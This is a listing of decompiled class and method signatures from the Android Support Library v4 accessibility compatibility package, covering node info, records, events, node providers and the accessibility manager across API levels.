android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoApi21Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoApi21Impl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoKitKatImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoApi21Impl();
    public java.util.List getActionList(Object);
    public Object obtainCollectionInfo(int, int, boolean, int);
    public void addAction(Object, int, CharSequence);
    public Object obtainCollectionItemInfo(int, int, int, int, boolean, boolean);
    public boolean isCollectionItemSelected(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatIcs {
    void AccessibilityNodeInfoCompatIcs();
    public static Object obtain();
    public static Object obtain(android.view.View);
    public static Object obtain(Object);
    public static void addAction(Object, int);
    public static void addChild(Object, android.view.View);
    public static java.util.List findAccessibilityNodeInfosByText(Object, String);
    public static int getActions(Object);
    public static void getBoundsInParent(Object, android.graphics.Rect);
    public static void getBoundsInScreen(Object, android.graphics.Rect);
    public static Object getChild(Object, int);
    public static int getChildCount(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static CharSequence getPackageName(Object);
    public static Object getParent(Object);
    public static CharSequence getText(Object);
    public static int getWindowId(Object);
    public static boolean isCheckable(Object);
    public static boolean isChecked(Object);
    public static boolean isClickable(Object);
    public static boolean isEnabled(Object);
    public static boolean isFocusable(Object);
    public static boolean isFocused(Object);
    public static boolean isLongClickable(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static boolean isSelected(Object);
    public static boolean performAction(Object, int);
    public static void setBoundsInParent(Object, android.graphics.Rect);
    public static void setBoundsInScreen(Object, android.graphics.Rect);
    public static void setCheckable(Object, boolean);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setClickable(Object, boolean);
    public static void setContentDescription(Object, CharSequence);
    public static void setEnabled(Object, boolean);
    public static void setFocusable(Object, boolean);
    public static void setFocused(Object, boolean);
    public static void setLongClickable(Object, boolean);
    public static void setPackageName(Object, CharSequence);
    public static void setParent(Object, android.view.View);
    public static void setPassword(Object, boolean);
    public static void setScrollable(Object, boolean);
    public static void setSelected(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setText(Object, CharSequence);
    public static void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatJellyBean {
    void AccessibilityRecordCompatJellyBean();
    public static void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl extends AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi21.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatApi21 {
    void AccessibilityNodeInfoCompatApi21();
    static java.util.List getActionList(Object);
    static void addAction(Object, int, CharSequence);
    public static Object obtainCollectionInfo(int, int, boolean, int);
    public static Object obtainCollectionItemInfo(int, int, int, int, boolean, boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl extends AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    public abstract Object obtain();
    public abstract Object obtain(android.view.View);
    public abstract Object obtain(Object);
    public abstract Object obtain(android.view.View, int);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract Object findFocus(Object, int);
    public abstract Object focusSearch(Object, int);
    public abstract int getWindowId(Object);
    public abstract int getChildCount(Object);
    public abstract Object getChild(Object, int);
    public abstract void addChild(Object, android.view.View);
    public abstract void addChild(Object, android.view.View, int);
    public abstract int getActions(Object);
    public abstract void addAction(Object, int);
    public abstract boolean performAction(Object, int);
    public abstract boolean performAction(Object, int, android.os.Bundle);
    public abstract void setMovementGranularities(Object, int);
    public abstract int getMovementGranularities(Object);
    public abstract java.util.List findAccessibilityNodeInfosByText(Object, String);
    public abstract Object getParent(Object);
    public abstract void setParent(Object, android.view.View, int);
    public abstract void setParent(Object, android.view.View);
    public abstract void getBoundsInParent(Object, android.graphics.Rect);
    public abstract void setBoundsInParent(Object, android.graphics.Rect);
    public abstract void getBoundsInScreen(Object, android.graphics.Rect);
    public abstract void setBoundsInScreen(Object, android.graphics.Rect);
    public abstract boolean isCheckable(Object);
    public abstract void setCheckable(Object, boolean);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isFocusable(Object);
    public abstract void setFocusable(Object, boolean);
    public abstract boolean isFocused(Object);
    public abstract void setFocused(Object, boolean);
    public abstract boolean isVisibleToUser(Object);
    public abstract void setVisibleToUser(Object, boolean);
    public abstract boolean isAccessibilityFocused(Object);
    public abstract void setAccessibilityFocused(Object, boolean);
    public abstract boolean isSelected(Object);
    public abstract void setSelected(Object, boolean);
    public abstract boolean isClickable(Object);
    public abstract void setClickable(Object, boolean);
    public abstract boolean isLongClickable(Object);
    public abstract void setLongClickable(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract CharSequence getPackageName(Object);
    public abstract void setPackageName(Object, CharSequence);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract CharSequence getText(Object);
    public abstract void setText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract void recycle(Object);
    public abstract String getViewIdResourceName(Object);
    public abstract void setViewIdResourceName(Object, String);
    public abstract int getLiveRegion(Object);
    public abstract void setLiveRegion(Object, int);
    public abstract Object getCollectionInfo(Object);
    public abstract void setCollectionInfo(Object, Object);
    public abstract Object getCollectionItemInfo(Object);
    public abstract void setCollectionItemInfo(Object, Object);
    public abstract Object getRangeInfo(Object);
    public abstract java.util.List getActionList(Object);
    public abstract void addAction(Object, int, CharSequence);
    public abstract Object obtainCollectionInfo(int, int, boolean, int);
    public abstract int getCollectionInfoColumnCount(Object);
    public abstract int getCollectionInfoRowCount(Object);
    public abstract boolean isCollectionInfoHierarchical(Object);
    public abstract Object obtainCollectionItemInfo(int, int, int, int, boolean, boolean);
    public abstract int getCollectionItemColumnIndex(Object);
    public abstract int getCollectionItemColumnSpan(Object);
    public abstract int getCollectionItemRowIndex(Object);
    public abstract int getCollectionItemRowSpan(Object);
    public abstract boolean isCollectionItemHeading(Object);
    public abstract boolean isCollectionItemSelected(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompatJellyBean {
    void AccessibilityNodeProviderCompatJellyBean();
    public static Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1 implements AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1(AccessibilityManagerCompat$AccessibilityManagerIcsImpl, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsImpl extends AccessibilityRecordCompat$AccessibilityRecordStubImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityManagerCompat {
    private static final AccessibilityManagerCompat$AccessibilityManagerVersionImpl IMPL;
    public void AccessibilityManagerCompat();
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi21$AccessibilityAction.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatApi21$AccessibilityAction {
    void AccessibilityNodeInfoCompatApi21$AccessibilityAction();
    static int getId(Object);
    static CharSequence getLabel(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl implements AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$CollectionInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat$CollectionInfoCompat {
    public static final int SELECTION_MODE_NONE = 0;
    public static final int SELECTION_MODE_SINGLE = 1;
    public static final int SELECTION_MODE_MULTIPLE = 2;
    final Object mInfo;
    public static AccessibilityNodeInfoCompat$CollectionInfoCompat obtain(int, int, boolean, int);
    private void AccessibilityNodeInfoCompat$CollectionInfoCompat(Object);
    public int getColumnCount();
    public int getRowCount();
    public boolean isHierarchical();
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1 implements AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1(AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl, AccessibilityNodeProviderCompat);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public Object createAccessibilityNodeInfo(int);
}










android/support/v4/view/accessibility/AccessibilityEventCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompatIcs {
    void AccessibilityEventCompatIcs();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public static Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public static void setScrollable(android.view.accessibility.AccessibilityEvent, boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl extends AccessibilityRecordCompat$AccessibilityRecordIcsImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl();
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompatIcs {
    void AccessibilityManagerCompatIcs();
    public static Object newAccessibilityStateChangeListener(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerStubImpl implements AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    void AccessibilityManagerCompat$AccessibilityManagerStubImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventIcsImpl extends AccessibilityEventCompat$AccessibilityEventStubImpl {
    void AccessibilityEventCompat$AccessibilityEventIcsImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatKitKat {
    void AccessibilityNodeInfoCompatKitKat();
    static int getLiveRegion(Object);
    static void setLiveRegion(Object, int);
    static Object getCollectionInfo(Object);
    static Object getCollectionItemInfo(Object);
    public static void setCollectionInfo(Object, Object);
    public static void setCollectionItemInfo(Object, Object);
    static Object getRangeInfo(Object);
    public static Object obtainCollectionInfo(int, int, boolean, int);
    public static Object obtainCollectionItemInfo(int, int, int, int, boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat$CollectionItemInfo.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatKitKat$CollectionItemInfo {
    void AccessibilityNodeInfoCompatKitKat$CollectionItemInfo();
    static int getColumnIndex(Object);
    static int getColumnSpan(Object);
    static int getRowIndex(Object);
    static int getRowSpan(Object);
    static boolean isHeading(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi21$CollectionItemInfo.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatApi21$CollectionItemInfo {
    void AccessibilityNodeInfoCompatApi21$CollectionItemInfo();
    public static boolean isSelected(Object);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordStubImpl implements AccessibilityRecordCompat$AccessibilityRecordImpl {
    void AccessibilityRecordCompat$AccessibilityRecordStubImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$RangeInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat$RangeInfoCompat {
    public static final int RANGE_TYPE_INT = 0;
    public static final int RANGE_TYPE_FLOAT = 1;
    public static final int RANGE_TYPE_PERCENT = 2;
    private final Object mInfo;
    private void AccessibilityNodeInfoCompat$RangeInfoCompat(Object);
    public float getCurrent();
    public float getMax();
    public float getMin();
    public int getType();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$CollectionItemInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat$CollectionItemInfoCompat {
    private final Object mInfo;
    public static AccessibilityNodeInfoCompat$CollectionItemInfoCompat obtain(int, int, int, int, boolean, boolean);
    private void AccessibilityNodeInfoCompat$CollectionItemInfoCompat(Object);
    public int getColumnIndex();
    public int getColumnSpan();
    public int getRowIndex();
    public int getRowSpan();
    public boolean isHeading();
    public boolean isSelected();
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcs {
    void AccessibilityRecordCompatIcs();
    public static Object obtain();
    public static Object obtain(Object);
    public static int getAddedCount(Object);
    public static CharSequence getBeforeText(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static int getCurrentItemIndex(Object);
    public static int getFromIndex(Object);
    public static int getItemCount(Object);
    public static android.os.Parcelable getParcelableData(Object);
    public static int getRemovedCount(Object);
    public static int getScrollX(Object);
    public static int getScrollY(Object);
    public static Object getSource(Object);
    public static java.util.List getText(Object);
    public static int getToIndex(Object);
    public static int getWindowId(Object);
    public static boolean isChecked(Object);
    public static boolean isEnabled(Object);
    public static boolean isFullScreen(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static void recycle(Object);
    public static void setAddedCount(Object, int);
    public static void setBeforeText(Object, CharSequence);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setContentDescription(Object, CharSequence);
    public static void setCurrentItemIndex(Object, int);
    public static void setEnabled(Object, boolean);
    public static void setFromIndex(Object, int);
    public static void setFullScreen(Object, boolean);
    public static void setItemCount(Object, int);
    public static void setParcelableData(Object, android.os.Parcelable);
    public static void setPassword(Object, boolean);
    public static void setRemovedCount(Object, int);
    public static void setScrollX(Object, int);
    public static void setScrollY(Object, int);
    public static void setScrollable(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompatKitKat {
    void AccessibilityNodeProviderCompatKitKat();
    public static Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    public abstract Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl();
    public String getViewIdResourceName(Object);
    public void setViewIdResourceName(Object, String);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl extends AccessibilityManagerCompat$AccessibilityManagerStubImpl {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityEventCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityEventCompat {
    private static final AccessibilityEventCompat$AccessibilityEventVersionImpl IMPL;
    public static final int TYPE_VIEW_HOVER_ENTER = 128;
    public static final int TYPE_VIEW_HOVER_EXIT = 256;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_START = 512;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_END = 1024;
    public static final int TYPE_WINDOW_CONTENT_CHANGED = 2048;
    public static final int TYPE_VIEW_SCROLLED = 4096;
    public static final int TYPE_VIEW_TEXT_SELECTION_CHANGED = 8192;
    public static final int TYPE_ANNOUNCEMENT = 16384;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUSED = 32768;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED = 65536;
    public static final int TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY = 131072;
    public static final int TYPE_GESTURE_DETECTION_START = 262144;
    public static final int TYPE_GESTURE_DETECTION_END = 524288;
    public static final int TYPE_TOUCH_INTERACTION_START = 1048576;
    public static final int TYPE_TOUCH_INTERACTION_END = 2097152;
    public static final int TYPES_ALL_MASK = -1;
    private void AccessibilityEventCompat();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, AccessibilityRecordCompat);
    public static AccessibilityRecordCompat getRecord(android.view.accessibility.AccessibilityEvent, int);
    public static AccessibilityRecordCompat asRecord(android.view.accessibility.AccessibilityEvent);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityNodeProviderCompatJellyBean$1 extends android.view.accessibility.AccessibilityNodeProvider {
    void AccessibilityNodeProviderCompatJellyBean$1(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
    public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public boolean performAction(int, int, android.os.Bundle);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatJellyBean {
    void AccessibilityNodeInfoCompatJellyBean();
    public static void addChild(Object, android.view.View, int);
    public static void setSource(Object, android.view.View, int);
    public static boolean isVisibleToUser(Object);
    public static void setVisibleToUser(Object, boolean);
    public static boolean performAction(Object, int, android.os.Bundle);
    public static void setMovementGranularities(Object, int);
    public static int getMovementGranularities(Object);
    public static Object obtain(android.view.View, int);
    public static Object findFocus(Object, int);
    public static Object focusSearch(Object, int);
    public static void setParent(Object, android.view.View, int);
    public static boolean isAccessibilityFocused(Object);
    public static void setAccesibilityFocused(Object, boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat$CollectionInfo.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatKitKat$CollectionInfo {
    void AccessibilityNodeInfoCompatKitKat$CollectionInfo();
    static int getColumnCount(Object);
    static int getRowCount(Object);
    static boolean isHierarchical(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setText(Object, CharSequence);
    public void recycle(Object);
    public void addAction(Object, int, CharSequence);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl();
    public Object obtain(android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void addChild(Object, android.view.View, int);
    public void setSource(Object, android.view.View, int);
    public boolean isVisibleToUser(Object);
    public void setVisibleToUser(Object, boolean);
    public boolean isAccessibilityFocused(Object);
    public void setAccessibilityFocused(Object, boolean);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setParent(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl implements AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl();
    public Object obtain();
